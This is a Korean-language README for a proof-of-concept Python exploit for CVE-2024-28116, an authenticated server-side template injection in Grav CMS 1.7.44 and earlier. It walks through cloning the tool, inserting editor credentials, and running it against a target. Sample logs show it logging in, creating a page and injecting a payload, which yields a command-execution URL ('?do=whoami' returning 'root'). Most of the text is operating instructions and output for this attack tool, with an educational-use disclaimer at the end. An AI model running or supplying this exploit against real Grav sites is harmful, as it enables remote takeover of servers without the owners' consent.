
는 Grav CMS 버전 1.7.44 이하(CVE-2024-28116)에서 인증된 서버 사이드 템플릿 인젝션(SSTI) 취약점을 악용하는 PoC Python 스크립트입니다.
GenGravSSTIExploit는 Grav CMS 버전 <= 1.7.44(CVE-2024-28116)에서 인증된 서버 측 템플릿 인젝션(SSTI) 취약점을 악용하는 PoC Python 스크립트입니다. 이 취약점은 편집자 권한을 가진 사용자가 원격 서버에서 OS 명령을 실행할 수 있도록 합니다.
참고: 이 스크립트는 Grav CMS 콘솔에서 인증을 받기 위해 유효한 자격 증명이 필요합니다.
requests 라이브러리 (pip install requests로 설치)저장소 클론
git clone https://github.com/geniuszly/GenGravSSTIExploit
cd GenGravSSTIExploit
자격 증명 설정
Grav CMS 편집자 자격 증명을 제공하도록 스크립트를 편집하세요:
GRAV_USER = "youruser"
GRAV_PASSWORD = "yourpassword"
스크립트 실행
다음 명령어로 스크립트를 실행하세요:
python GenGravSSTIExploit.py -t <TARGET_URL> -p <PORT>
<TARGET_URL>: http[s]://hostname 형식의 대상 URL.<PORT>: 포트 번호 (기본값 80).예시:
python GenGravSSTIExploit.py -t http://example.com -p 8080
익스플로잇과 상호 작용
익스플로잇이 성공하면 OS 명령을 실행할 수 있는 URL이 제공됩니다:
[+] RCE payload injected. Visit the malicious page: http://example.com:8080/poc_<ID>?do=<command>
python GenGravSSTIExploit.py -t http://example.com -p 8080
스크립트는 각 단계를 수행하며 터미널을 통해 업데이트를 제공합니다. 다음과 같은 내용이 표시될 수 있습니다:
2024-10-02 12:00:01 - INFO - Checking target URL...
2024-10-02 12:00:02 - INFO - Getting session cookie and login-nonce...
2024-10-02 12:00:03 - INFO - Attempting authentication in Grav CMS...
2024-10-02 12:00:04 - INFO - Accessing admin panel after authentication...
2024-10-02 12:00:05 - INFO - Creating new page...
2024-10-02 12:00:06 - INFO - Getting form-nonce and unique_form_id...
2024-10-02 12:00:07 - INFO - Injecting RCE payload...
2024-10-02 12:00:08 - INFO - [+] RCE injection successful. Visit: http://example.com:8080/poc_4T7B?do=<command>
스크립트 실행이 완료되면 주입된 페이지로 연결되는 링크와 함께 메시지가 표시됩니다. 이 링크를 방문하여 OS 명령을 실행할 수 있습니다:
http://example.com:8080/poc_4T7B?do=whoami
지정된 명령으로 URL을 방문하면 출력이 페이지에 직접 표시됩니다:
Cmd-Output:
root
이 도구는 교육 목적으로만 제공됩니다. 책임감 있게 사용하고, 명시적 허가를 받은 시스템에서만 사용하십시오. 저자는 이 스크립트로 인한 오용이나 손해에 대해 책임을 지지 않습니다.